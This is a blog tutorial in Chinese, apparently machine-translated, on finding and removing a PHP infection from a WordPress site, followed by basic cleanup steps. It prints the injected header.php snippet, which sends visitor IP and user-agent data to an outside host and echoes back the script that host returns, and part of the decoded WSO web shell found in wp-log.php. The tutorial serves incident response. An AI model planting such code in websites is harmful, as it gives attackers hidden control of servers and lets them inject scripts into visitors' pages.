本教程介绍了 WordPress 博客被感染的特殊案例。删除 WordPress PHP 病毒。
内容
有一天,我注意到一些可疑代码,似乎是 WordPress 的 PHP 病毒。以下 PHP 代码存在于 header.php, 行前 </head>。
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
这是一些 PHP 代码,看起来像是尝试从外部服务器检索资源的内容,但引用 URL 的部分不完整。
工作机制稍微复杂一些,使得受影响网站的访问者看不到此 WordPress PHP 病毒。相反,它以搜索引擎(Google)为目标,并隐式导致受影响网站的访问者数量显着减少。
WordPress PHP 病毒恶意软件详细信息
1.以上代码存在于 header.php。
2.服务器上出现一个文件 wp-log.php 在文件夹中 wp-includes。
3。 wp-log.php 包含加密代码,但相对容易解密。
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
解密恶意软件代码 wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
这似乎是一个恶意 PHP 脚本,其中包含处理服务器上文件和目录的身份验证和操作的代码。可以很容易地看出该脚本包含如下变量 $auth_pass (认证密码), $default_action (默认操作), $default_use_ajax (默认使用 Ajax)和 $default_charset (默认字符设置)。
显然,该脚本有一个部分检查 HTTP 用户代理以阻止对某些 Web 机器人(例如搜索引擎)的访问。它还具有检查 PHP 安全模式并设置某些工作目录的部分。
4. 如果在浏览器中访问wp-log.php,则会出现一个网页,其中字段为 验证。乍一看,它似乎是一个文件管理器,通过它可以轻松地将新文件上传到目标服务器。
暨 devirusezi un 网站 WordPress?
手动反病毒过程始终需要首先发现并了解漏洞是什么。
1. 为整个网站生成备份。这必须包括文件和数据库。
2. 确定病毒大约存在了多长时间,并在大约的时间范围内搜索 Web 服务器以查找修改过的或新创建的文件。
例如,如果您想查看文件 .php 上周创建或修改,在服务器中运行命令:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
这是一种简单的方法,您可以通过它发现受感染的 WordPress 文件和包含恶意代码的文件。
3.检查文件 .htaccess 可疑指令。权限或脚本执行行。
4.检查数据库。某些 WordPress 帖子和页面很可能已被恶意软件编辑或正在添加新内容 具有管理员角色的用户。
5. 检查文件夹和文件的写入权限。 chmod 和 chown。
建议的权限为:文件为 644,目录为 755。
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6.更新全部 WordPress Plugins / WordPress Themes。
有关的: 修复重定向WordPress Hack 2023(病毒重定向)
这些是方法 “基本的” 通过它您可以对 WordPress 网站/博客进行反病毒。如果您遇到问题并需要帮助,评论部分已开放。